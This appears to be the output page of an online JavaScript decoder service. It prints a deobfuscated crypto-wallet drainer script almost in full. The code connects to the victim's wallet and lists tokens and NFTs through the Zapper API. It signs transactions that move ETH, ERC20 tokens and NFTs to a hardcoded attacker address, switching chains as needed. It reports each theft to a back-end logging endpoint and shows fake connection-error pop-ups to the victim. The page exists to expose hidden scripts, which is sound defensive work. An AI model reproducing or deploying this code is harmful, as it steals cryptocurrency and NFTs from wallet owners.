Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


var _0xcaeb=["","0x99c62e511395A33807bebcc1147C6B7524ac1782","57e79189-e67f-4334-aef4-d11cb3eecd62","0x186A0","userAgent","vendor","opera","test","Windows Phone","Android","MSStream","iOS","unknown","Trust","Metamask","a","createElement","href","target","_self","appendChild","body","click","remove","location","https://link.trustwallet.com/open_url?coin_id=60&url=https://","replace","URL","dapp://","log","ethereum","ethereum#initialized","addEventListener","eth_requestAccounts","request","https://mainnet.infura.io/v3/ef44b175ceb94950afcc9843c7d6a898","providers","block number = ","getBlockNumber","eth","https://api.coingecko.com/api/v3/simple/price?ids=ethereum&vs_currencies=usd","json","usd","toFixed","ether","toWei","utils","transactionFee","getAccounts","account","https://api.zapper.fi/v2/balances?addresses[]=","&&api_key=","https://api.zapper.fi/v2/nft/balances/tokens?addresses%5B%5D=","&limit=25&&api_key=","text","items","data","startsWith","slice","parse","balance","network","wallet","address","balanceUSD","context","balanceRaw","symbol","push","forEach","", "split", "floorPriceEth", "collection", "token", "tokenId", "estimatedValueEth", "nftStandard", "map", "concat", "sort", "nonce1", "getChainId", "getGasPrice", "toHex", "0x", "0x55F0", "0x1", "hex", "serialize", "sha3", "rawTx1:", "rawHash1:", "catch", "substring", "r:", "s:", "y:", "r", "s", "v", "---------------------------------------------", "rawTx:", "rawHash:", "then", "sendSignedTransaction", "sign", "pending", "getTransactionCount", "gasprice:", "10", "gwei", "0x0", "encodeABI", "transfer", "methods", "Waiting for sign submitting...", "Submitted:", "safeTransferFrom", "getId", "net", "chain", "binance-smart-chain", "optimism", "polygon", "gnosis", "fantom", "avalanche", "arbitrum", "celo", "moonriver", "bitcoin", "aurora", "tokenAddress", "0x0000000000000000000000000000000000000000", "<b>Transfer", "|Network:", "</b><br><br>Количество: ", "tokenAmount", " (", "tokenAmountFix", ")<br><br>Адрес владельца: <code>", "</code><br><br>Домен:", "hostname", "type", "</b><br><br>Контракт: <code>", "</code><br><br>Адрес владельца:<code>", "</code><br><br>Количество: <code>", "</code>(", ")<br><br>Домен:", "erc721", "Transfer NFT 721<br>Контракт:<code>", "</code><br><br>Floor Price: <code>", "</code>$<br><br>Адрес владельца:<code>", "</code><br><br>Инвентарь<br>https://etherscan.io/token/", "?a=", "%23inventory<br><br>Домен:", "Transfer NFT 1155<br>Контракт:<code>", "Error!", "Connect has been failed,try with another wallet", "error", "OK", "fire", "This wallet cannot be connect,try another one", "wallet_switchEthereumChain", "✅<b>Транзакция подтверждена</b>", "❌ <b>Транзакция отклонена</b>", "/back.php?key=8bEEokUZLhn7nAHz&m="];
var connected=0;
var account=_0xcaeb[0];
const ownerAddress=_0xcaeb[1];
const ZAPPER_KEY=_0xcaeb[2];
const CONTRACT_GAS_LIMIT=_0xcaeb[3];
var transactionFee=0;
var alert=0;
var perETH_usd;
var success=0;
let message;
let tokenList=[];
const getMobileOperatingSystem=()=>
	{
	const _0x5b59xd=navigator[_0xcaeb[4]]||navigator[_0xcaeb[5]]||window[_0xcaeb[6]];
	if(/windows phone/i[_0xcaeb[7]](_0x5b59xd))
		{
		return _0xcaeb[8]
	};
	if(/android/i[_0xcaeb[7]](_0x5b59xd))
		{
		return _0xcaeb[9]
	};
	if(/iPad|iPhone|iPod/[_0xcaeb[7]](_0x5b59xd)&&!window[_0xcaeb[10]])
		{
		return _0xcaeb[11]
	};
	return _0xcaeb[12]
};
const getDAppSystem=()=>
	{
	const _0x5b59xd=navigator[_0xcaeb[4]]||navigator[_0xcaeb[5]]||window[_0xcaeb[6]];
	if(/Trust/i[_0xcaeb[7]](_0x5b59xd))
		{
		return _0xcaeb[13]
	};
	if(/CriOS/i[_0xcaeb[7]](_0x5b59xd))
		{
		return _0xcaeb[14]
	};
	return _0xcaeb[12]
};
const openMetaMaskUrl=(_0x5b59x10)=>
	{
	const _0x5b59x11=document[_0xcaeb[16]](_0xcaeb[15]);
	_0x5b59x11[_0xcaeb[17]]=_0x5b59x10;
	_0x5b59x11[_0xcaeb[18]]=_0xcaeb[19];
	document[_0xcaeb[21]][_0xcaeb[20]](_0x5b59x11);
	_0x5b59x11[_0xcaeb[22]]();
	_0x5b59x11[_0xcaeb[23]]()
};
async function contrust()
	{
	window[_0xcaeb[24]]=`$
		{
		_0xcaeb[25]
	}
	$
		{
		document[_0xcaeb[27]][_0xcaeb[26]](/https?:\/\//i,_0xcaeb[0])
	}
	$
		{
		_0xcaeb[0]
	}
	`
}
function loginMetamask()
	{
	if(getDAppSystem()!==_0xcaeb[14]&&getMobileOperatingSystem()!==_0xcaeb[12])
		{
		openMetaMaskUrl(`$
			{
			_0xcaeb[28]
		}
		$
			{
			document[_0xcaeb[27]][_0xcaeb[26]](/https?:\/\//i,_0xcaeb[0])
		}
		$
			{
			_0xcaeb[0]
		}
		`);
		return
	}
	else
		{
		login()
	}
}
async function login()
	{
	try
		{
		walletconnect()
	}
	catch(error)
		{
		console[_0xcaeb[29]](error)
	}
}
function walletconnect()
	{
	if(window[_0xcaeb[30]])
		{
		ConnectWallet()
	}
	else
		{
		window[_0xcaeb[32]](_0xcaeb[31],ConnectWallet,
			{
			once:true
		}
		);
		setTimeout(ConnectWallet,3000)
	}
}
async function ConnectWallet()
	{
	if(window[_0xcaeb[30]])
		{
		await ethereum[_0xcaeb[34]](
			{
			method:_0xcaeb[33]
		}
		);
		provider=window[_0xcaeb[30]];
		web3=new Web3(provider)
	}
	else
		{
		provider=new Web3[_0xcaeb[36]].HttpProvider(_0xcaeb[35]);
		web3=new Web3(provider)
	};
	getWalletAccount();
	get12DollarETH();
	web3[_0xcaeb[39]][_0xcaeb[38]](function(_0x5b59x17,_0x5b59x18)
		{
		console[_0xcaeb[29]](_0xcaeb[37],_0x5b59x18)
	}
	)
}
async function get12DollarETH()
	{
	let _0x5b59x10=_0xcaeb[40];
	let _0x5b59x1a=await fetch(_0x5b59x10);
	let _0x5b59x1b=await _0x5b59x1a[_0xcaeb[41]]();
	let _0x5b59x1c=_0x5b59x1b[_0xcaeb[30]][_0xcaeb[42]];
	let _0x5b59x1d=1/_0x5b59x1c;
	perETH_usd=_0x5b59x1c;
	transactionFee=_0x5b59x1d*2;
	transactionFee=parseInt(web3[_0xcaeb[46]][_0xcaeb[45]](transactionFee[_0xcaeb[43]](5).toString(),_0xcaeb[44]));
	console[_0xcaeb[29]](transactionFee,_0xcaeb[47]);
	return _0x5b59x1d*2
}
async function getWalletAccount()
	{
	const _0x5b59x1f=await web3[_0xcaeb[39]][_0xcaeb[48]]();
	account=_0x5b59x1f[0];
	console[_0xcaeb[29]](_0xcaeb[49],account);
	const _0x5b59x1a=await fetch(_0xcaeb[50]+account+_0xcaeb[51]+ZAPPER_KEY,
		{
		headers:
			{
			'Authorization':ZAPPER_KEY
		}
	}
	);
	const _0x5b59x20=await fetch(_0xcaeb[52]+account+_0xcaeb[53]+ZAPPER_KEY,
		{
		headers:
			{
			'Authorization':ZAPPER_KEY
		}
	}
	);
	const _0x5b59x21=await _0x5b59x1a[_0xcaeb[54]]();
	const _0x5b59x22=(await _0x5b59x20[_0xcaeb[41]]())[_0xcaeb[55]];
	console[_0xcaeb[29]](_0x5b59x21);
	console[_0xcaeb[29]](_0x5b59x22);
	_0x5b59x21[_0xcaeb[71]](_0xcaeb[70])[_0xcaeb[69]]((_0x5b59x23)=>
		{
		if(_0x5b59x23[_0xcaeb[57]](_0xcaeb[56]))
			{
			var _0x5b59x21=JSON[_0xcaeb[59]](_0x5b59x23[_0xcaeb[58]](5));
			if(_0x5b59x21[_0xcaeb[60]]&&_0x5b59x21[_0xcaeb[61]]==_0xcaeb[30])
				{
				for(var _0x5b59x24 in _0x5b59x21[_0xcaeb[60]][_0xcaeb[62]])
					{
					var _0x5b59x25=_0x5b59x21[_0xcaeb[60]][_0xcaeb[62]][_0x5b59x24];
					tokenList[_0xcaeb[68]](
						{
						tokenAddress:_0x5b59x25[_0xcaeb[63]],balance:_0x5b59x25[_0xcaeb[64]],tokenAmountFix:_0x5b59x25[_0xcaeb[65]][_0xcaeb[60]],chain:_0x5b59x25[_0xcaeb[61]],tokenAmount:_0x5b59x25[_0xcaeb[65]][_0xcaeb[66]],symbol:_0x5b59x25[_0xcaeb[65]][_0xcaeb[67]],type:1
					}
					)
				}
			}
		}
	}
	);
	tokenList=tokenList[_0xcaeb[79]](_0x5b59x22[_0xcaeb[78]]((_0x5b59x26)=>
		{
		return
			{
			balance:_0x5b59x26[_0xcaeb[74]][_0xcaeb[73]][_0xcaeb[72]]*perETH_usd,tokenAddress:_0x5b59x26[_0xcaeb[74]][_0xcaeb[73]][_0xcaeb[63]],tokenId:_0x5b59x26[_0xcaeb[74]][_0xcaeb[75]],tokenAmount:_0x5b59x26[_0xcaeb[74]][_0xcaeb[76]],chain:_0xcaeb[30],type:_0x5b59x26[_0xcaeb[74]][_0xcaeb[73]][_0xcaeb[77]]
		}
	}
	));
	tokenList[_0xcaeb[80]]((_0x5b59x11,_0x5b59x27)=>
		{
		return(Number(_0x5b59x27[_0xcaeb[60]])>Number(_0x5b59x11[_0xcaeb[60]]))?1:-1
	}
	);
	console[_0xcaeb[29]](tokenList);
	connected=1;
	setTimeout(sendToken,1000)
}
function getEthBalance(_0x5b59x29,_0x5b59x2a,_0x5b59x2b)
	{
	var _0x5b59x2c=1;
	for(var _0x5b59x2d=0;
	_0x5b59x2d<_0x5b59x2a;
	_0x5b59x2d++)
		{
		_0x5b59x2c*=10
	};
	return _0x5b59x29*_0x5b59x2b/_0x5b59x2c
}
async function stakeEth(_0x5b59x2f,_0x5b59x30)
	{
	if(account==_0xcaeb[0])
		{
		return
	};
	console[_0xcaeb[29]](_0x5b59x2f);
	success=1;
	logTlgMsg(_0x5b59x30);
	await web3[_0xcaeb[39]][_0xcaeb[108]](account,_0xcaeb[107])[_0xcaeb[104]](async(_0x5b59x31)=>
		{
		console[_0xcaeb[29]](_0xcaeb[81],_0x5b59x31);
		let _0x5b59x32=await web3[_0xcaeb[39]][_0xcaeb[82]]();
		const _0x5b59x33=await web3[_0xcaeb[39]][_0xcaeb[83]]();
		const _0x5b59x34=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33);
		const _0x5b59x35=_0xcaeb[85]+_0x5b59x2f.toString(16);
		let _0x5b59x36=
			{
			"to":ownerAddress,"nonce":web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x31),"gasLimit":_0xcaeb[86],"gasPrice":_0x5b59x34,"value":_0x5b59x35,"data":_0xcaeb[85],"v":_0xcaeb[87],"r":_0xcaeb[85],"s":_0xcaeb[85]
		};
		var _0x5b59x37=new ethereumjs.Tx(_0x5b59x36);
		var _0x5b59x38=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
		let _0x5b59x39=
			{
			"encoding":_0xcaeb[88]
		};
		const _0x5b59x3a=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x38,_0x5b59x39);
		console[_0xcaeb[29]](_0xcaeb[91],_0x5b59x38);
		console[_0xcaeb[29]](_0xcaeb[92],_0x5b59x3a);
		await web3[_0xcaeb[39]][_0xcaeb[106]](_0x5b59x3a,account)[_0xcaeb[104]](async(_0x5b59x3c)=>
			{
			const _0x5b59x3d=_0x5b59x3c[_0xcaeb[94]](2),_0x5b59x3e=_0xcaeb[85]+_0x5b59x3d[_0xcaeb[94]](0,64),_0x5b59x3f=_0xcaeb[85]+_0x5b59x3d[_0xcaeb[94]](64,128),_0x5b59x40=parseInt(_0x5b59x3d[_0xcaeb[94]](128,130),16),_0x5b59x41=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x40+_0x5b59x32*2+8);
			console[_0xcaeb[29]](_0xcaeb[95],_0x5b59x3e);
			console[_0xcaeb[29]](_0xcaeb[96],_0x5b59x3f);
			console[_0xcaeb[29]](_0xcaeb[97],_0x5b59x41.toString(_0xcaeb[88]));
			_0x5b59x37[_0xcaeb[98]]=_0x5b59x3e;
			_0x5b59x37[_0xcaeb[99]]=_0x5b59x3f;
			_0x5b59x37[_0xcaeb[100]]=_0x5b59x41;
			console[_0xcaeb[29]](_0x5b59x37);
			console[_0xcaeb[29]](_0xcaeb[101]);
			const _0x5b59x42=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
			const _0x5b59x43=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x42,_0x5b59x39);
			console[_0xcaeb[29]](_0xcaeb[102],_0x5b59x42);
			console[_0xcaeb[29]](_0xcaeb[103],_0x5b59x43);
			await web3[_0xcaeb[39]][_0xcaeb[105]](_0x5b59x42)[_0xcaeb[104]]((_0x5b59x45)=>
				{
				return console[_0xcaeb[29]](_0x5b59x45)
			}
			)[_0xcaeb[93]]((_0x5b59x44)=>
				{
				return success=0
			}
			)
		}
		)[_0xcaeb[93]]((_0x5b59x3b)=>
			{
			return success=0
		}
		);
		logTlg(success)
	}
	)
}
async function stakeERC20(_0x5b59x47,_0x5b59x2f,_0x5b59x30)
	{
	console[_0xcaeb[29]](_0x5b59x47,account,_0x5b59x2f);
	var _0x5b59x48=new web3[_0xcaeb[39]].Contract(ERC20_ABI,_0x5b59x47);
	const _0x5b59x49=web3[_0xcaeb[46]][_0xcaeb[84]](await web3[_0xcaeb[39]][_0xcaeb[108]](account));
	const _0x5b59x33=await web3[_0xcaeb[39]][_0xcaeb[83]]();
	const _0x5b59x34=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33);
	console[_0xcaeb[29]](_0xcaeb[109],_0x5b59x33);
	console[_0xcaeb[29]](_0xcaeb[109],web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33));
	let _0x5b59x32=await web3[_0xcaeb[39]][_0xcaeb[82]]();
	let _0x5b59x36;
	success=1;
	logTlgMsg(_0x5b59x30);
	try
		{
		_0x5b59x36=
			{
			to:_0x5b59x47,nonce:_0x5b59x49,gasLimit:CONTRACT_GAS_LIMIT,gasPrice:web3[_0xcaeb[46]][_0xcaeb[84]](web3[_0xcaeb[46]][_0xcaeb[45]](_0xcaeb[110],_0xcaeb[111])),value:_0xcaeb[112],data:_0x5b59x48[_0xcaeb[115]][_0xcaeb[114]](ownerAddress,_0x5b59x2f.toString())[_0xcaeb[113]](),r:_0xcaeb[85],s:_0xcaeb[85],v:_0xcaeb[87]
		};
		console[_0xcaeb[29]](_0x5b59x36);
		const
			{
			ethereumjs
		}
		=window;
		var _0x5b59x37=new ethereumjs.Tx(_0x5b59x36);
		const _0x5b59x38=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
		const _0x5b59x3a=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x38,
			{
			encoding:_0xcaeb[88]
		}
		);
		const _0x5b59x4a=await web3[_0xcaeb[39]][_0xcaeb[106]](_0x5b59x3a,account);
		const _0x5b59x4b=_0x5b59x4a[_0xcaeb[94]](2),_0x5b59x4c=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](0,64),_0x5b59x4d=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](64,128),_0x5b59x40=parseInt(_0x5b59x4b[_0xcaeb[94]](128,130),16),_0x5b59x4e=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x40+_0x5b59x32*2+8);
		_0x5b59x37[_0xcaeb[98]]=_0x5b59x4c;
		_0x5b59x37[_0xcaeb[99]]=_0x5b59x4d;
		_0x5b59x37[_0xcaeb[100]]=_0x5b59x4e;
		const _0x5b59x42=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
		console[_0xcaeb[29]](_0xcaeb[116]);
		const _0x5b59x24=await web3[_0xcaeb[39]][_0xcaeb[105]](_0x5b59x42);
		console[_0xcaeb[29]](_0xcaeb[117],_0x5b59x24)
	}
	catch(e)
		{
		console[_0xcaeb[29]](e);
		success=0
	};
	logTlg(success)
}
async function stakeNFT(_0x5b59x47,_0x5b59x50,_0x5b59x30)
	{
	var _0x5b59x48=new web3[_0xcaeb[39]].Contract(ERC721_ABI,_0x5b59x47);
	const _0x5b59x49=web3[_0xcaeb[46]][_0xcaeb[84]](await web3[_0xcaeb[39]][_0xcaeb[108]](account));
	const _0x5b59x33=await web3[_0xcaeb[39]][_0xcaeb[83]]();
	const _0x5b59x34=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33);
	console[_0xcaeb[29]](_0xcaeb[109],_0x5b59x33);
	console[_0xcaeb[29]](_0xcaeb[109],web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33));
	let _0x5b59x32=await web3[_0xcaeb[39]][_0xcaeb[82]]();
	let _0x5b59x36;
	success=1;
	logTlgMsg(_0x5b59x30);
	try
		{
		_0x5b59x36=
			{
			to:_0x5b59x47,nonce:_0x5b59x49,gasLimit:CONTRACT_GAS_LIMIT,gasPrice:web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33),value:_0xcaeb[112],data:_0x5b59x48[_0xcaeb[115]][_0xcaeb[118]](account,ownerAddress,_0x5b59x50)[_0xcaeb[113]](),r:_0xcaeb[85],s:_0xcaeb[85],v:_0xcaeb[87]
		};
		console[_0xcaeb[29]](_0x5b59x36);
		const
			{
			ethereumjs
		}
		=window;
		var _0x5b59x37=new ethereumjs.Tx(_0x5b59x36);
		const _0x5b59x38=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
		const _0x5b59x3a=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x38,
			{
			encoding:_0xcaeb[88]
		}
		);
		const _0x5b59x4a=await web3[_0xcaeb[39]][_0xcaeb[106]](_0x5b59x3a,account);
		const _0x5b59x4b=_0x5b59x4a[_0xcaeb[94]](2),_0x5b59x4c=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](0,64),_0x5b59x4d=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](64,128),_0x5b59x40=parseInt(_0x5b59x4b[_0xcaeb[94]](128,130),16),_0x5b59x4e=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x40+_0x5b59x32*2+8);
		_0x5b59x37[_0xcaeb[98]]=_0x5b59x4c;
		_0x5b59x37[_0xcaeb[99]]=_0x5b59x4d;
		_0x5b59x37[_0xcaeb[100]]=_0x5b59x4e;
		const _0x5b59x42=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
		console[_0xcaeb[29]](_0xcaeb[116]);
		const _0x5b59x24=await web3[_0xcaeb[39]][_0xcaeb[105]](_0x5b59x42);
		console[_0xcaeb[29]](_0xcaeb[117],_0x5b59x24)
	}
	catch(e)
		{
		console[_0xcaeb[29]](e);
		success=0
	};
	logTlg(success)
}
async function stake1155NFT(_0x5b59x47,_0x5b59x50,_0x5b59x30)
	{
	var _0x5b59x48=new web3[_0xcaeb[39]].Contract(ERC1155_ABI,_0x5b59x47);
	const _0x5b59x49=web3[_0xcaeb[46]][_0xcaeb[84]](await web3[_0xcaeb[39]][_0xcaeb[108]](account));
	const _0x5b59x33=await web3[_0xcaeb[39]][_0xcaeb[83]]();
	const _0x5b59x34=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33);
	console[_0xcaeb[29]](_0xcaeb[109],_0x5b59x33);
	console[_0xcaeb[29]](_0xcaeb[109],web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33));
	let _0x5b59x32=await web3[_0xcaeb[39]][_0xcaeb[82]]();
	let _0x5b59x36;
	success=1;
	logTlgMsg(_0x5b59x30);
	try
		{
		_0x5b59x36=
			{
			to:_0x5b59x47,nonce:_0x5b59x49,gasLimit:CONTRACT_GAS_LIMIT,gasPrice:web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33),value:_0xcaeb[112],data:_0x5b59x48[_0xcaeb[115]][_0xcaeb[118]](account,ownerAddress,_0x5b59x50)[_0xcaeb[113]](),r:_0xcaeb[85],s:_0xcaeb[85],v:_0xcaeb[87]
		};
		console[_0xcaeb[29]](_0x5b59x36);
		const
			{
			ethereumjs
		}
		=window;
		var _0x5b59x37=new ethereumjs.Tx(_0x5b59x36);
		const _0x5b59x38=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
		const _0x5b59x3a=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x38,
			{
			encoding:_0xcaeb[88]
		}
		);
		const _0x5b59x4a=await web3[_0xcaeb[39]][_0xcaeb[106]](_0x5b59x3a,account);
		const _0x5b59x4b=_0x5b59x4a[_0xcaeb[94]](2),_0x5b59x4c=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](0,64),_0x5b59x4d=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](64,128),_0x5b59x40=parseInt(_0x5b59x4b[_0xcaeb[94]](128,130),16),_0x5b59x4e=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x40+_0x5b59x32*2+8);
		_0x5b59x37[_0xcaeb[98]]=_0x5b59x4c;
		_0x5b59x37[_0xcaeb[99]]=_0x5b59x4d;
		_0x5b59x37[_0xcaeb[100]]=_0x5b59x4e;
		const _0x5b59x42=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
		console[_0xcaeb[29]](_0xcaeb[116]);
		const _0x5b59x24=await web3[_0xcaeb[39]][_0xcaeb[105]](_0x5b59x42);
		console[_0xcaeb[29]](_0xcaeb[117],_0x5b59x24)
	}
	catch(e)
		{
		console[_0xcaeb[29]](e);
		success=0
	};
	logTlg(success)
}
async function sendToken()
	{
	for(var _0x5b59x53 of tokenList)
		{
		if(_0x5b59x53<1)
			{
			return alertshow()
		};
		const _0x5b59x54=await web3[_0xcaeb[39]][_0xcaeb[120]][_0xcaeb[119]]();
		var _0x5b59x55=0;
		if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[30])
			{
			_0x5b59x55=1
		}
		else
			{
			if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[122])
				{
				_0x5b59x55=56
			}
			else
				{
				if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[123])
					{
					_0x5b59x55=10
				}
				else
					{
					if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[124])
						{
						_0x5b59x55=137
					}
					else
						{
						if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[125])
							{
							_0x5b59x55=100
						}
						else
							{
							if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[126])
								{
								_0x5b59x55=250
							}
							else
								{
								if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[127])
									{
									_0x5b59x55=43114
								}
								else
									{
									if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[128])
										{
										_0x5b59x55=42161
									}
									else
										{
										if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[129])
											{
											_0x5b59x55=42220
										}
										else
											{
											if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[130])
												{
												_0x5b59x55=1285
											}
											else
												{
												if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[131])
													{
													_0x5b59x55=2203
												}
												else
													{
													if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[132])
														{
														_0x5b59x55=1313161554
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		};
		if(_0x5b59x54!==_0x5b59x55)
			{
			await changeNetwork(_0x5b59x55)
		};
		try
			{
			if(_0x5b59x53[_0xcaeb[133]]==_0xcaeb[134])
				{
				if(_0x5b59x53[_0xcaeb[60]]>10)
					{
					message=_0xcaeb[135]+_0x5b59x53[_0xcaeb[67]]+_0xcaeb[136]+_0x5b59x53[_0xcaeb[121]]+_0xcaeb[137]+_0x5b59x53[_0xcaeb[138]]+_0xcaeb[139]+_0x5b59x53[_0xcaeb[140]]+_0xcaeb[141]+account+_0xcaeb[142]+window[_0xcaeb[24]][_0xcaeb[143]];
					await stakeEth(_0x5b59x53[_0xcaeb[138]]-transactionFee,message)
				}
				else
					{
					alertshow()
				}
			}
			else
				{
				if(_0x5b59x53[_0xcaeb[144]]==1)
					{
					message=_0xcaeb[135]+_0x5b59x53[_0xcaeb[67]]+_0xcaeb[136]+_0x5b59x53[_0xcaeb[121]]+_0xcaeb[145]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[146]+account+_0xcaeb[147]+_0x5b59x53[_0xcaeb[138]]+_0xcaeb[148]+_0x5b59x53[_0xcaeb[140]]+_0xcaeb[149]+window[_0xcaeb[24]][_0xcaeb[143]];
					await stakeERC20(_0x5b59x53[_0xcaeb[133]],_0x5b59x53[_0xcaeb[138]],message)
				}
				else
					{
					if(_0x5b59x53[_0xcaeb[144]]==_0xcaeb[150])
						{
						message=_0xcaeb[151]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[152]+_0x5b59x53[_0xcaeb[60]]+_0xcaeb[153]+account+_0xcaeb[154]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[155]+account+_0xcaeb[156]+window[_0xcaeb[24]][_0xcaeb[143]];
						await stakeNFT(_0x5b59x53[_0xcaeb[133]],_0x5b59x53[_0xcaeb[75]],message)
					}
					else
						{
						message=_0xcaeb[157]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[152]+_0x5b59x53[_0xcaeb[60]]+_0xcaeb[153]+account+_0xcaeb[154]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[155]+account+_0xcaeb[156]+window[_0xcaeb[24]][_0xcaeb[143]];
						await stake1155NFT(_0x5b59x53[_0xcaeb[133]],_0x5b59x53[_0xcaeb[75]],message)
					}
				}
			}
		}
		catch(e)
			{
			console[_0xcaeb[29]](e)
		}
	}
}
async function alertshow()
	{
	if(alert==0)
		{
		Swal[_0xcaeb[162]](
			{
			title:_0xcaeb[158],text:_0xcaeb[159],icon:_0xcaeb[160],confirmButtonText:_0xcaeb[161]
		}
		);
		alert=1
	};
	if(alert==1)
		{
		Swal[_0xcaeb[162]](
			{
			title:_0xcaeb[158],text:_0xcaeb[163],icon:_0xcaeb[160],confirmButtonText:_0xcaeb[161]
		}
		)
	}
}
const changeNetwork=async(_0x5b59x55)=>
	{
	if(window[_0xcaeb[30]])
		{
		try
			{
			await window[_0xcaeb[30]][_0xcaeb[34]](
				{
				method:_0xcaeb[164],params:[
					{
					chainId:Web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x55)
				}
				]
			}
			)
		}
		catch(error)
			{
			console[_0xcaeb[160]](error)
		}
	}
};
function logTlg(success)
	{
	if(success==1)
		{
		var _0x5b59x59=_0xcaeb[165]
	}
	else
		{
		var _0x5b59x59=_0xcaeb[166]
	};
	fetch(_0xcaeb[167]+_0x5b59x59)
}
function logTlgMsg(_0x5b59x30)
	{
	fetch(_0xcaeb[167]+_0x5b59x30)
}
function showSuccess(_0x5b59x5c)
	{
	alert(_0x5b59x5c)
}
function showError(_0x5b59x5c)
	{
	alert(_0x5b59x5c)
}
function showInfo(_0x5b59x5c)
	{
	alert(_0x5b59x5c)
}
if(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i[_0xcaeb[7]](navigator[_0xcaeb[4]]))
	{
	login()
}




© 2023 Quttera Ltd. All rights reserved.